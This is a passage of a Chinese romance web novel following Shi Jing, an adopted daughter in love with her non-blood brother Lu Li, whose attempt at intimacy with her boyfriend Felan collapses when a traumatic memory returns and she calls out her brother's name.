时憬收回手,去找阿姨拿了扫把收拾干净后,电话里耶耶难以置信的激情抒发恰好告一段落,又问时憬,“你看照片了吗?”
时憬拿下手机点开照片。
照片里的楼心月挽着陆礼的胳膊,二人身材高挑容貌出色,楼心月背对镜头,微微昂首看向男人,而陆礼显然已发现捕捉镜头,目光平静的看来。
这一瞬的定格堪比现偶职场剧。
男才女貌,赏心悦目。
时憬再度拿起手机回答:“我看见照片了。”
耶耶冷静的分析:“楼出发墨尔本之前绝对没和陆少交往,今天两个人出来回来才第一天上班,哪有这么快就被人拍到了?而且陆少腿受伤了,我在秘书办的朋友说陆少就出来了一趟,就这么刚好楼去找他?就这么刚好被人意外拍到发公司群了?往往太凑巧的事情背后就有猫腻。你说,会不会是楼——”
时憬听见自己的声音打断了耶耶的猜测,“是真的。”
耶耶:“……啊?”
时憬:“你看啊,公司里都讨论成这样了,我哥还没有出来解释,那就是真的。”她给自己重新拿了个杯子,抿了口温水,语气分外冷静。
耶耶低声哀嚎,“苍天——”
时憬:“怎么了?”
耶耶:“我之前和你说过的嘛,我和她有点小过节。她在其他人面前都端着一副优雅不食人间烟火的女神范儿,私底下要求我们给她各种行方便,是她自己的事情也就算了,她还喜欢随口答应别人,然后来要求我们行方便,她自己好拿去当人情!我老板拒绝了两次,后面再来找我们办事都冷着脸,这下成了陆少女朋友,怎么可能不上眼药?”
耶耶越说越丧失。
时憬:“抱歉,工作上的事情没办法,但如果她故意针对你,一定要告诉我。”
耶耶:“好姐妹我爱你!!有你这句话就足够了!”
挂电话后,时憬抬头看梳妆镜里的自己。
没有一点笑模样。
但也看不出心痛的痕迹。
心脏好像痛得麻木了,就不会再痛不欲生。
下楼后,陆母带着时憬去美容院做SPA。
这两个月都在外面风吹日晒的,哪怕做了防护、晚上护肤,陆母仍觉得自己浑身上下的皮肤都粗糙了许多,特地带着时憬同去。
做完SPA,两人又去逛街。
到了下午才回陆园。
陆母上楼午睡。
时憬搬了画架到小花园里画景。
风温度适宜,阳光灿烂,花园里绿植、花树生机盎然,随便一处都是景致,她静下心,心无旁骛的勾勒描绘。
这一瞬,所有烦恼、痛苦都消失不见。
她沉浸画纸中。
只思考着如何描绘出眼中的景致。
高中时学画,是陆礼为了让她能够上大学。
大学时偶尔提起画笔,也是为了应付学校作业。
在杭县时重新开始画图,是害怕安静独处时,那些黑暗负面的情绪会控制不住的翻涌上来,直到这一天的午后,她才第一次体会到沉浸其中。
可惜,这份体验并未持续很久。
费兰来找她。
看时憬画的投入,他咽下自己的邀请,坐在旁边安静的等着女朋友画完这一张图,时而看手机,时而盯着认真的时憬看。
她专注时,嘴角会微抿起,上身微微前倾。
画到不顺时,也会皱眉,发出小小的啧声。
一阵风过,扬起她鬓边碎发,黏在鼻尖,有些发痒。
她皱了下鼻子,想挤走碍事的碎发,却失败了。
正要抬手想要拨开时,费兰比她的动作更快一步,他贴近时憬,温热的指腹小心翼翼又有些笨拙的捏住碎发,别回她耳后。
时憬侧眸去看。
撞入费兰深情的蔚蓝眼底。
眼前的脸靠近。
轻柔的呼吸落在她的脸上。
时憬垂下眼皮,手指攥紧了些,没有阻止费兰意图明显的接近,温热而柔软的唇落下,含住她的唇瓣,从绅士的轻吻到逐渐露出本色的欲望深吻。
时憬极力控制,不让自己躲入幻觉。
小花园外。
黑色迈巴赫悄无声息的停在陆园门口。
陆礼还未下车,透过挡风玻璃看见右手边的小花园入口处,时憬正在和费兰接吻。
这一幕,让陆礼停下开门的动作。
他登时就冷了脸。
虽然在家里,但现在天还没黑,而且也有佣人进出,一眼就能看见小花园里的情形。
妹妹本就喜欢胡闹,费兰不知道照顾,居然还纵容的陪着一起胡闹。
兄长沉着脸下车,重重甩上车门,拄着拐杖上楼。
等陆礼拿到文件再次下楼,走到门口时,他偏头看了眼小花园,发现只剩下妹妹一人,她蜷缩在藤椅里,双脚踩在凳面,双手环着小腿,头搁在膝盖上。
看着像是睡着了。
陆礼看了眼天气。
虽已入初夏,但随着天色暗下来,风里带上凉意。
费兰就这样放着时憬在外睡着不管?
陆礼皱了下眉,脚下方向一变,去车上取下一张薄毯朝小花园走去。
*
“啪——”
一声重物坠落声惊醒时憬。
她睁眼醒来,眼神下意识四扫,像在寻找什么。
视线晃了圈,小花园里只有坐在对面,低头正在画画的费兰,她刚看见的陆礼果真是梦。
而非是现实。
她看见陆礼站在面前,她已经太久太久没看见过陆礼那么温柔目光了,她惊怕是幻觉,怕自己一出声就会戳破,所以她不敢说话。
越是这样,清醒后,空虚汹涌而至。
她揉了下眼睛,怕这一瞬的失态让对面的费兰察觉。
时憬才动了下,肩头似乎有什么东西滑落。
视线顺着看去,发现地上掉了张夏季薄毯。
边角有H家的不太显眼的logo。
但这张夏季薄毯的花纹看着是最近新发售,时憬还没有买,她想着应该是妈妈买的放在客厅,费兰拿来为自己披上的。
她弯腰一一捡起掉落的薄毯和手机,看向费兰。
费兰描绘的笔,视线越过花架,目光瞬间就黏在时憬脸上,用母语揶揄着说道:“睡美人终于睁开了她美丽的双眼。”
时憬抱歉的笑了下,“不好意思我,我睡着了,你可以叫醒我的。”
他摇了下手指,一脸理所当然道:“Nooo,守护睡美人甜美的梦乡可是小矮人的责任。”
时憬想了下,“小矮人守护不应该是白雪公主么?”
费兰耸肩,勉为其难道:“那我就只能成为王子了,一位能吻醒白雪公主或是睡美人的王子。”
童话故事秒变渣男回忆录。
时憬抽了下嘴角,强行转移话题,“你在画什么?”
费兰朝她勾了下手。
时憬起身,走到他身边,微弯腰,低头看纸的,额——画。
如果非要称作画,那只能是抽象派的。
费兰是对这自己的方向在画,极有可能是基于现实的抽象画,而自己也极有可能出现在他的画中。
时憬努力分辨,终
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于指着一个抽象火柴人问:“这个是我?”
费兰看了眼,握着她的手指往旁边移了下,“宝贝,有没有可能这个是你?”
时憬:……
连药物的麻木都遮不住她一脸微妙的表情。
费兰两手掐住她的腰,胳膊用力将人提了下岔坐在腿上,动作快到时憬都来不及躲开,身子晃了下,下意识两手扶助他的肩膀。
这个位置,令时憬高出费兰大半个头,她不得不居高临下的看着年轻的金发大男孩。
而这样的亲密的姿势,让她有些抗拒。
“宝贝,你刚才的眼神伤害到了我,”他昂着下颚,这个角度看,甚至能清晰的数清楚他浅金色密集的眼睫毛,“再给你一次机会重新表达,不然我不会让你下去的。”
他“凶狠”的威胁。
时憬的手掌仍撑在他肩膀上,以此也能维持两个人至今的距离。
时憬只看他的眼睫毛:“画的很好,下次别画了。”
费兰似乎没想到她还会这么诚实,眼睛转了半圈,笑眯眯的捧住她的脸颊,“不画可以,但我要收取适当的封笔费。”
时憬的眼睛睁大了些,她使劲的抬头,不让他亲到自己的唇——她的唇还有些红肿发疼,坚决不能让费兰继续下去了。
头一昂起,两人本就有高低差,费兰最后只吻到她的下颚。
时憬松一口气。
但下一瞬的触感,瞬间让她浑身僵住!
两人之间的距离,再加上她故意抬头,却不知恰好方便费兰吻上她的脖颈,更像是主动将弱点递到费兰眼前,方便他为所欲为。
温热的唇从脖颈一路下滑。
时憬激出一身鸡皮疙瘩,双手死死推住他意图贴上来的胸膛。
“不要——”她压低声,似命令,又似请求,“不要再外面这样!”
费兰本来也就想逗逗她。
他停下动作,看着女朋友的耳垂泛着可爱的通红,忍不住想要上去含在唇齿间咬一口。
他这么想了,也就这么做了。
“费兰!”
耳边炸开一道惊慌的低声呵斥。
他手掌捧住的脸颊也开始变得滚烫炙手,费兰迫不及待想要看见她害羞着眼眸水汪汪动情的模样,松开牙齿,后仰些上身,带着欣赏的目光落在时憬身上。
甚至还故意问了句:“不要在外面,是不是在里面就行了?”
话音落下,被摁着坐在腿上的人猛地站起身,用力掰开他的手,动作快到费兰都来不及看清她的脸色,就听见冷静的声音传来:“这张画如果不要了,请你自行处理。”
她已经低头开始收拾画具。
此时,费兰哪怕不用看脸色,光从声音已经能听出女朋友生气的语气。
费兰也跟着起身,松松环住时憬,轻轻摇晃着她,“对不起,宝贝,刚才你看起来实在太可爱了,我一时没忍住。下次一定注意,不会在外面这样了,不要生我的气了,好不好?”
高大的金发大男孩撒起娇来,丝毫不逊色于时憬,就像是一只忠诚的大狗狗。
时憬吃软不吃硬。
但最后还是原谅了费兰又一次的冒犯。
收好画具,费兰也起身离开。
在他上车前,突然回头看了眼目送他离开的时憬。
女朋友安静的站着,脸上和眼底里并无太多神情。
更没有热恋期的依依不舍。
不知怎么的,费兰想起刚才无意看见的一幕。
时憬睡着后,他去客厅找能盖的衣物,因客厅里收拾的干干净净,他找了一圈也没看见阿姨,只能无功而返。
他却看见时憬的哥哥抖开一张薄毯,动作温柔的替她盖上,毯子落下的时候,时憬醒了,昂着头,眼中闪着动情的光,直勾勾盯着陆礼。
这样的时憬,他从未见过。
突然间,他冒出个离谱的念头。
听母亲说,时憬与陆家人毫无血缘关系,是陆礼带回陆家收养的女孩子。
还有在春城的那一夜——
时憬叫出口的那个名字,是不是和陆礼的发音相近?
不!
费兰用力甩了下脑袋。
冷静的告知自己,人不能毫无证据的臆想下定论。哪怕没有血缘关系,但他们仍旧是兄妹,他真的是疯了才会怀疑。
第82章 宝贝,你愿意么?
进入七月底后,沙市正式开启盛夏模式。
柏油路上的空气因高热而扭曲。
而距离时憬开始再次服药已近半年,药物能麻痹她过于丰富的情绪,偶尔仍有失控的时候,但她也靠着自己一次次熬了过来,连秦天川都说最近她的状态控制得不错。
自陆礼从墨尔本回来后,工作越来越忙,陆家早晚餐桌上渐渐看不到他的身影,偶尔周末会带着楼心月回来吃饭。
所有人都知道他们在交往。
连时憬也接受了这个现实。
反倒是费兰来陆家吃了两顿晚饭后,委婉地说不太习惯与这么严肃的两位男士用餐,之后就不太常来陆家,更喜欢约时憬出门玩。
费兰与那一众朋友精通玩乐。
玩乐内容在圈子里算是健康阳光向上的类型。
他们会去海边冲浪,去徒步溯溪,包游艇出海——自从与费兰交往后,陆母与陆礼取消了她禁止在外过夜的限制,时憬彻底融入他们的小圈子里。
时憬与费兰交往这件事,也没有瞒着朋友。
两人会住同一间房。
会拥抱、亲吻。
时憬不再依赖幻觉。
或许是察觉到时憬仍未做好准备,费兰迟迟没有进行到下一步,哪怕在他抱着自己浑身滚烫、粗喘着气时,也只是用力亲她两下后,起身去卫生间冲凉,压制欲望。
然后出来时湿漉漉、委屈巴巴地看她。
费兰阳光、热情,像一束炙热的阳光,强行照入她灰暗的生活。
他是极好的朋友。
更是趋近完美的男友。
越是这样的次数多了后,时憬累积的愧疚几乎快盖过理智,或许就差一个契机,推动着时憬愿意继续下去。
但没想到,契机会来得这么快。
一次泳池派对结束后,费兰开车送时憬回陆园。
时憬转达陆母的晚餐邀请。
费兰客客气气的回绝。
他实在有些应付不过来亲爱女朋友的父亲和哥哥,实在太令人亚历山大了。
好在时憬并不要求他必须参加,这也让费兰松了一口气。
他绅士的绕到副驾驶门外,手抵在车顶,扶着时憬下车,如此殷勤的架势,只有在交往初期才出现过。
时憬好奇地看他。
费兰揽着她纤细的腰肢,“后天是我的生日。”
时憬微笑着回道,“我知道啊,礼物已经准备好了,大家有商量好在哪儿帮你庆祝生日么?”
费兰低下头,高挺的鼻尖轻轻蹭着她的。
外国人的浪漫细胞,让他们精通于如何调情。
“我拒绝了他们的生日派对。”
时憬克制呼吸,面对费兰的亲近,她仍有些不自在的僵硬,“你…为什么拒绝啊?是那天另有安排么?”
“这是你陪我度过的第一个生日,我只想和你一起度过,”他的眼神炙热,语气带着外露的期盼,“我已经预约好了餐厅和…酒店,宝贝,你愿意么?”
生日。
餐厅。
酒店。
愿意么?
时憬再如何迟钝也能明白费兰在确认的,不止是愿不愿意陪他过生日,而是愿不愿意完全接受他,愿不愿意完成最后一步。
短短十秒钟。
对费兰而言如此煎熬。
他压在女友腰窝处的手掌甚至都紧张得渗出汗来。
他想要尊重女友的慢热。
但他也是男人,而且已经给了女友足够长的时间来接受自己的肢体接触,这是他从未给过任何人的耐心。
如果女友拒绝了他,他想自己真的会伤心,也会再一次考虑,他是否真的适合拥有这颗始终捂不热的星星。
在费兰一眼不眨地注视下,时憬缓缓点头。
费兰的生日,这或许就是那个契机。
她想要试一次。
或许——
一切没有她想象的那么糟糕,也没有那么恐怖。
在她点头答应后,费兰立刻笑得合不拢嘴,两条胳膊勒着她的腰,激动地抱着她旋转,若不是时憬吓得猛拍他的肩膀,费兰都想要掐着她腋窝把人举起来了。
离开时,费兰还反复确认她会不会反悔。
时憬难得被问得脸红。
恼羞成怒地把人赶走了。
转头还没走进客厅,手机就收到了费兰的信息。
费兰:宝贝,今天是我人生中最幸福的三天之一!
时憬配合着询问:除了今天,还有哪两天?
费兰:后天我的生日
费兰:排在第一的是你答应和我交往的那天
哪怕知道外国人擅长说情话,时憬也仍被肉麻到了,回了一个表情包。
恰好人都到齐,大家落座吃饭。
陆母在客厅里早就看见了女儿和费兰又亲又抱,进来后还拿着手机不松手,笑着打趣道:“刚分开就发信息,既然这么舍不得,怎么不叫人一起来吃完饭呢。”
时憬收起手机,轻声解释:“他有事忙去了。”
陆父哼了声,“大晚上的能有什么紧——”
自然被陆母从桌子底下踩了脚,眼神示意了下坐在陆礼身边的楼心月,当着儿子女朋友的面说这些话也不怕被人笑话。
陆父倒吸了口凉气,挪开了些脚,“大家动筷吃吧,陆礼,多照顾点心月。”
陆礼并未应声,用公筷夹了菜放到楼心月的碗中,“多吃些。”
楼心月柔声回谢谢。
时憬坐在他们对面,哪怕垂眸,也挡不住二人的举动。
她嚼着青椒,舌尖微微发苦。
但心脏早已不会疼了。
吃到一半时,陆母才发现今晚的餐桌格外冷清。
女儿不太说话,连楼心月也沉默寡言。
陆母用公筷给楼心月夹了菜,关切问道:“心月今天是身体不舒服么,怎么都不说话了?”
陆父立即反应过来,询问道:“你们宣城的工厂还在停工?”
陆母疑了声,“怎么停工了?上周来的时候不是已经开始外围收工了么?”她说完后,自然也看向楼心月。
楼心月迟疑,咬了下唇。
陆母见状,便说:“如果觉得为难就不要说了,快吃饭。”
楼心月放下筷子,语气真挚地回道:“伯母不是外人,我并未觉得为难,只是怕这件事吓到了您。”
眼前的楼心月如此郑重其事,反而让陆母笑了。
“你这么说我倒是好奇非要听听了,什么事情能吓到我。”陆母一边语气随意地说着,一边还不忘夹菜照顾时憬,柔声说着,“上次见你爱吃,这些是我让阿姨在后面花园里开了块地特地种的小青菜,不是外头买的,又嫩又甜,你多吃点。”
时憬很捧场的都吃了。
笑盈盈的悄声回应:“真的好甜,世上只有妈妈好~”
陆母被哄的嘴角高高翘着。
心里已经开始想着,明天让阿姨再在花园里垦一块地,种些菠菜,菠菜补铁,女孩子多吃些对身体好,至于青菜、菠菜和她精心打理多年的浪漫花园搭不搭,早已被陆母抛之脑后。
楼心月适时开口,“厂房上周刚封顶了,开始重整外围规划,预埋充电车位的电缆时,从、从底下翻出些人骨——”
“哐当——”
这句话冷不防冒出来,吓得陆母手中的勺子掉进碗里。
时憬抽了纸,擦去陆母手背上溅到的汤汁。
陆父也关心看着妻子:“若云,没事吧?”
陆母握住女儿的手,这会儿人也冷静下来,回了句没事,而后继续问楼心月,“怎么会在那块地下面挖出这些,查清楚了吗?警察怎么说?”
楼心月蹙着眉,“我爸爸第一时间就找在**系统里的人帮忙了,警察那边还在继续查,根据法医初步给出的信息是已经埋了至少八年以上,那些东西完不完整、是不是同一个人的还要等鉴定结果出来,今天刚来消息说结果快出来了。”
但不论结果如何,**跑不了。
陆母沉默片刻:“等复工后,记得做场法事,总归不太吉利。”
楼心月:“谢谢伯母提醒,我们会安排的。”
陆礼冷静地开口:“当初你们那块地拿的就不太正当,记得自查所有手续、账目,等**那边出来消息后,根据死者信息最好把经手人、承建方从上到下排查一遍。”
楼心月点头一一应下,“父亲和哥哥都很重视这件事,我们会尽快解决,不会耽误第一阶段的生产计划的。”
听着往下面去就是工作相关了。
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>陆母及时打断:“好了,晚上就不要说这些了,听得怪吓人的。”
陆父失笑,“是你要问的,这会儿说得害怕的也是你。”
两人一唱一和,正好把这件事带了过去。
时憬不喜楼心月,全程没听她在说什么,更没有注意到她某一瞬间看着自己怪异的目光。
吃完晚饭,时憬躲去厨房帮柳姨的忙。
只要楼心月在,时憬就不会和她争抢着陪陆母。
时憬才走了两步就被楼心月叫住,她拿着一个长条丝绒盒子递给时憬,笑容分外友善:“这只簪子是前段时间我和你哥哥出差一起看中的,想着你是杭县人,肯定适合旗袍,这簪子肯定也适合你的。”
时憬听出了楼心月言语间的暧昧与炫耀。
她勾了下唇,笑容未达眼底。
原来前几天陆礼没回家吃饭是出差去了。
原来——
他连出差礼物都不愿亲手给她了。
时憬接过盒子,麻木的道谢。
她去了厨房,柳姨不知去了哪儿,只有两只青黄色的大芒果放在料理台上,时憬随手放下盒子,拿了水果刀开始切果。
还在杭县时,时母经营着一家民宿。
时憬的周末寒暑假都会在民宿帮忙,如何切水果、摆果盘也是母亲教她的。
十五岁之前的时憬,早已被人间烟火腌渍入味。
到了陆家后,她逐渐习惯被人无微不至地照顾着,也逐渐忘记了很多生活能力。
她以为自己能记得怎么切芒果才能既好看又方便客人食用,就能顺利地切出来,刚下划下第二刀时,捏着芒果皮的手指一滑,锋利的刀刃划开指腹。
鲜血顿时从伤口流出。
她愣了下。
手指出血了本该疼的。
她又是最怕疼的。
可为什么指腹见血的疼痛,还没心脏疼得厉害。
“时憬?”身后陆礼的声音靠近,“怎么是你在厨房?”
时憬回过神,打开水龙头想冲走血迹,仍被陆礼眼尖看见,他快步靠近,捏住她的手腕仔细看,在看清她指腹上近两厘米的口子时,眉头皱得能夹死苍蝇。
视线快速扫过料理台上的水果刀,确认伤口不深后,脸色冷得吓人,冷冷扔下一句站着别动后,转身出去拿医药箱进来。
看着她满手都是芒果黏腻的汁水,调好水龙头流水的温度后,才拉着她的手放到流水下,低着头,用手仔细地为她清洗去手上的汁水。
清洗干净后,又用纸巾擦干。
最后才打开医药箱,掰断碘伏棉签,动作细致而温柔地清理伤口。
直到消毒完成,陆礼才再度开口说话。
“时憬,你都几岁了?切到手了不知道怎么处理,还不知道叫人帮忙吗?”
“想吃芒果也不知道让柳姨帮忙?连这一会儿功夫都等不了?”
“我不过来……”
陆礼越说语气越重,训她的习惯又带了出来。
时憬站着,安静地听兄长语气严厉地训斥自己,也安静地看着他动作温柔地替自己包扎。
她想原来陆礼还会担心啊。
这一瞬,眼前的陆礼仿佛才是自己所熟悉的那个兄长,兄长的态度、语气动作都如此自然,仿佛他们之间从未发生那么多的事情过。
可她却一点也高兴不起来。
陆礼注意到她的安静,下意识放柔了语气,问道:“很疼么?怎么不说话?”
时憬摇头,说一点也不疼。
或许是她眼中流露的情绪太多,让陆礼终于察觉到了什么,他才意识到自己又忍不住关心的妹妹的动作,强行收敛起温柔。
时憬这一次没有移开视线,眼神怔怔地望着他,眼中生出眼泪,轻声问:“哥,你会和楼心月结婚吗?”
陆礼松开手,语气平静,却也不复温柔,“会。好了,你先出去等着,我来切。”
会。
原来……会啊。
所以,他连礼物都不再为她买了。
时憬挤出笑容,看着陆礼说道:“后天是费兰的生日,我就不回家了。”她轻声说了这一句话,而后低下头,从陆礼身边离开。
直到时憬的脚步声远到听不见时,陆礼才想起自己要为妹妹切芒果。
第83章 她不能再拒绝费兰
芒果果肉滑腻,不好握住。
陆礼握着水果刀,手却极稳的去皮、切肉,然后装盘,再插上塑料果叉。
他早已习惯照顾妹妹。
自然也听懂了妹妹刚才的言外之意。
成年的男女朋友,一起过生日,还要夜不归宿,会发生什,么?
不用去想就能知道。
最近他每次回家看见妹妹,都能见她气色红润,笑脸盈盈,哪怕已经不会像从前那样向他撒娇了,但她的确在一点点变好。
因为离开了他,所以妹妹在变得更健康。
陆礼忽然停下清洗水果刀的动作,低头看,发现不知什么时候掌心被划了道不深不浅的伤口,他下意识就去看那盘果切,见上面没有残留任何血迹才收回视线。
时憬一如既往地睡觉、起床、画画、陪陆母。
时间转眼即逝。
费兰的生日到了。
傍晚,他换了辆敞篷跑车来接女友。
费兰半靠着车门,休闲衬衫、浅棕色七分裤,金发短发在夕阳下仍闪耀着似金子般的光晕,蔚蓝澄澈的蓝瞳耐心地望向门口,听见高跟鞋独有的声响靠近时,他站直了些。
而当女友出现在眼前时,费兰眼中浮现短暂的惊艳之色。
时憬今天用心打扮。
中长发梳起,盘了个高丸子头,发际线、鬓角边留着毛茸茸、微卷的碎发,中间夹了个碎钻发夹。
蓝色无袖连衣裙未过膝盖,露出一双皮肉匀称的长腿,脚上是细跟凉鞋,纤细的带子圈住脚踝。
她只化了淡妆,甚至都没有多余的首饰。
只是安静地站在面前,好似白得能发光,让人一眼就陷进去,再难拔走视线。
面对异性惊艳的目光,时憬没有害羞闪躲之色。
仿佛她知道此时的自己有多动人美丽。
费兰的喉结动了下,牵起时憬的手,深情道:“我已经收到了最棒的生日礼物。”话音落,他微微屈膝,低头,虔诚的吻上时憬的手背,“我的公主殿下。”
时憬垂眸看着男友。
并未拒绝他的亲吻和触碰。
像是高高在上的公主终于愿意接受侍奉她的骑士。
浓烈的夕阳笼罩着二人,地上拉出长长的倒影,他们无限接近着,倒影近乎缠绵。
黑色迈巴赫安静地停在不远处的路口,这个距离恰好能看见这一幕。
坐在副驾驶的黄林简直如坐针毡。
今晚陆少有一个很重要的酒局。
他也不知道陆少为什么特地要在酒局开始前绕道回陆园,到了后却又不进去,不进去也不走,这到底在等什么?
在黄林看见陆少的妹妹和外国男友卿卿我我的时候才彻底顿悟——
老板的妹控属性没救了。
黄林抬手看了好几次腕表,不顾车里愈发低沉的气压。
视死如归地问道:“老板,再不出发我们要迟到了…”
陆礼看着妹妹坐进跑车,终于收回目光,冷声道:“走吧。”
黄林立刻让司机开车。
黑色迈巴赫在门口掉头,悄无声息地离开。
几分钟后,招摇的跑车才从陆园开出来。
*
费兰预定了沙市的网红星空餐厅。
圆形餐厅位于五星级酒店的最高层,餐厅高耸入云,白天能将沙市繁华的市区尽收眼底,而到了夜晚,满地霓虹灯光交织,似满天星光。
情调浪漫。
成为全国知名的情侣打卡点。
需要提前半个月才能预定到位置。
不少情侣、夫妻都会选择在星空餐厅度过纪念日。
当然,星空餐厅能这么炙手可热、一位难定,不止是风景好,餐品、甜点更是全部出自米其林大师,每晚还有知名钢琴家、小提琴手等演奏。
如此高奢的优雅用餐体验,很少有人能不心动。
连时憬赏景,故意把自己喝醉了。
等起身离开时,脚下发飘、眼前发晕,脸上更是盈满笑意。
好在费兰预定的房间就在这家酒店。
费兰半扶半抱着时憬进了房间。
刚一进房,窗帘自动拉开。
落地窗外是灯光斑斓的城市夜景。
比星空餐厅的距离要近些,也多了几分真实感。
双人床挨着落地窗,上面撒着玫瑰花瓣,摆成了爱心的形状,时憬盯着看了眼,忍不住笑了声,想要走进仔细看。
却不料房间里的地毯太过柔软。
高跟鞋陷了下,身体骤然失
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衡。
“小心——”
费兰扶住她,将她圈在胸前。
这个姿势看起来像是时憬投怀送抱。
时憬撑着他的胸膛,想要站直身体,头顶投下阴影,下颚被抬起,在金发男人低头时,轻而易举就吻住了她的唇瓣,他尝到了香醇的红酒,舌尖撑开她的牙关,用力地往里探索。他的另一只手拢住她的后脑勺,不让她有半点退缩的余地。
一点点的,将滚烫的气息喂入她口中。
辗转碾磨,欲望暴涨,他用力得恨不能把身前的人揉进骨子里,捏着下颚的手松开,沿着腰线下滑,摸到裙边,掀开探入——
时憬似有些承受不住,后仰了些头。
她垂眸,眼角嫣红,气息不稳地说:“等等…我想先……洗澡。”
费兰试探的手松开。
眸光似火,嗓音沙哑:“当然可以,你先去。”
他这么说着,却迟迟没有松开时憬。
时憬推了下他,又被按着亲了两次,才放她走。
这款红酒的后劲极大。
时憬脚下发软的走进卫生间,灯光明亮刺眼,她看着镜子面色潮红的自己,有种强烈不真实的虚幻感。
像这一夜是梦境。
而非是现实。
她即将要和另一个男人发生关系了。
今晚过后,她将不配继续深爱兄长。
她猛地闭了眼睛,打开淋浴,任由水流冲刷自己。
时至今日,她不能再后悔。
她要留在陆家。
她要继续当陆礼的妹妹。
她不能再拒绝费兰。
她——
必须要走下去。
卸妆、洗澡、洗头,她认真地将自己清洗干净,然后擦干、吹干头发,简单用酒店提供的护肤品护理后才出去。
她在里面呆了很久。
出来后搜寻费兰的身影,担心他会等的生气。
视线落在床边。
“费兰,”她轻声开口,“我好了,你可以用卫生间了。”
费兰嗯了声,放下手机,起身进去洗漱。
很快从里面响起哗哗水声。
时憬走到落地窗前,房间里的空调打的很低,她拢紧了些浴袍,双手手掌贴在窗户上,低头认真欣赏风景。
第84章 救救我…陆礼!
水声很快停止。
没一会儿,门就打开了。
时憬听见很轻很轻的脚步声靠近,停在自己身后,她垂下的眼睫毛颤了下,思绪还未成型,肩膀落下一只手,将她掰了过去,炙热急促的吻劈头盖脸落了下来。
身后几步处就是宽大的双人床。
他拥着时憬退到床边,压着她坐下,再压着躺下,唇深深地、用力地吻着,一手撑着,手掌因用力陷入被褥中。
湿热的吻从唇边离开,吻上她面颊、耳垂。
时憬闭上眼。
暴露在低冷室温里的肌肤冷得微微发抖,她双手抓紧身下的床单。
他的唇落在肩胛。
“宝贝,叫我的名字。”
他沙哑地开口。
“…费兰。”
她声音不稳,紧闭着眼,合拢的睫毛细细的颤抖。
“宝贝,甜心,我的公主,女王……”
热情的男友说着源源不断的肉麻情话,亲吻着她,浴衣也被解开。
但时憬脸色发白,掌心都是冷汗,身上越来越冷,像是坠入冰窖。
眼前光怪陆离,哪怕她睁开眼,周围依旧是一片黑暗,她像是回到了那间闷热的房间,回到了19岁的那一夜。
不。
她不能开口。
一旦开口说不,陆礼就会停下来的,他不会舍得伤害自己,他不会再拥抱自己……
她用力睁大眼睛,却发现眼前的人根本不是陆礼!
是谁——
他是谁——
走开——
不要碰她!
幻觉与现实错乱,她被困在其中,源源不断的恐惧涌上来,这种无法挣脱的痛苦,又让她陷入新的幻觉,像是又被人拽着推落泳池。
陆礼……
陆礼……
他在哪儿……
“救救我……陆礼……”
当微弱的呼救声从唇边不受控制地溢出去时,寒冷不再继续侵占她。
费兰猛地僵住,停下所有动作。
他支起胳膊,居高临下地看着身下眼眶落泪的女友,也看见她眼底的恐惧之意。
这一幕似曾相识。
他的女朋友在和他上床的时候,又叫着其他男人的名字。
这一次,他足够清楚地听到了这个男人的名字。
陆礼。
竟然真的是陆礼。
那个和她毫无血缘关系的哥哥。
不敢置信的情绪过后,愤怒瞬间占据欲望,时憬眼中的恐惧更是狠狠刺伤费兰的眼睛。
上一次他尚且能原谅她。
但这一次他早早就征求了她的同意,并非是他强迫她,可实际发生时,她却哭着叫别人的名字,还在说救救她?
他们之间,用得上救字?
哪怕费兰再如何尊重时憬,但这一刻男性的尊严仿佛被踩在脚底下。
他蹭地起身,弯腰捡起衣服穿上,每一个动作都裹挟着怒气。
一直到他穿好了衣服为止,身后的女友都没有出声挽留他。
费兰难掩愤怒的回头看她。
时憬睁着眼,安静的躺在床上。那些因疼痛而生的恐惧也逐渐消失,混沌的记忆涌入脑中,她想起了自己刚才叫的名字,想起了刚才自己失控的动作。
她下意识闭了下眼睛
脸色一片惨白。
寒冷袭来,覆盖她全身肌肤,她终于能裹紧浴袍。
动作僵硬地坐起身。
两手环住胳膊,齿间控制不住的还在继续颤抖,她垂着眸子,不敢看向愤怒的费兰,低声开口,“对不起。”
费兰再绅士也忍不住此刻的怒火,连中文都不说了,冲着时憬用母语质问着:“要是说对不起有用的话,还要警察做什么?时憬,我根本不需要你的道歉!”这段话几乎是压抑着情绪吼出来的,“陆礼是不是你那个哥哥?你居然和自己的哥哥上过床?现在他不要你了,就拿我当代替品是吗?!”
他每说一句话,时憬的脸就白一分,直到他吼出最后一句话的时候,时憬的脸色煞白如纸,惊恐的情绪再一次支配着她。
不……
这些事不能让人知道……
陆礼他……
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已经推开她了,已经有女友了,他们也会结婚……
她不能给陆礼惹麻烦……
时憬不断摇头,语无伦次的否认:“没有!我和陆礼没有任何关系…求你不要乱说…”她双目哀伤地涌出眼泪,“这些事情和我哥哥没有一丁点关系!是我……是我……是我偷偷喜欢他……求求你……不要告诉别人……”
费兰的脸色愈发难堪。
他以为——
她会继续道歉。
哪怕是说他刚才伤害了她,所以她才害怕,她才会不小心叫出别人的名字。
却没想到她居然只否认与陆礼的关系,还不忘请求他不要告诉别人,那他呢?
这几个月来他付出的又算什么?
连替身都不如?
真是——可笑。
费兰嘲笑自己了声,愤怒过后,他眼底只有浓烈的伤心与失望,眼眶渐渐发红,他扭过头,不再去看此时黯淡的星光:“我放弃了,时憬。我们的关系到此为止,房间是定到后天,你想要离开或者留下休息,都随你。”
费兰大步甩门离开。
房间里只有空调送风的运转声。
她用力地抱紧自己,眼底的神色麻木,甚至连恐惧都悄然消失。
结束了。
也搞砸了。
她彻底伤害了费兰。
他已经开始怀疑自己和陆礼的关系,如果他愤怒之下去告诉妈妈呢?妈妈知道后一定会气疯了。
然后把她彻底赶出陆家。
时憬不愿继续想下去。
她一撅一拐的下床,去冲了个澡后,换回白天的衣服,也从酒店离开。
招手拦了辆出租车,司机问她要去哪儿。
时憬沉默了很久,久到司机都想要开口请她下去的时候,才报了公寓的地址。
她很久没有来过公寓,但每周都会请钟点工来打扫卫生,里面并不太脏,只是床品还是冬季的没办法睡人。
她蜷缩在沙发上,将电视机声音开到很大,听着屋子里充斥的笑声后,却不敢闭上眼睛。
第85章 这是一起**
时憬以为,她能将陆礼藏在心底。
她以为自己能结束一切继续走下去。
她也以为只要闭上眼,忍一下。
她以为……
一切都能顺利。
可没想到,她根本做不到。
她自私地欺骗费兰,又给了他希望,最后在那样的情况下竟然叫了其他人的名字。
她真差劲。
她自私地霸占陆礼,骄纵地仗着他的温柔要求他拥抱自己,被推开后她又害怕会因陆礼的疏离,在陆家会失去她的位置,她想要利用费兰,真是好丑陋的一步步路啊!
这样的自己,连她自己都厌恶。
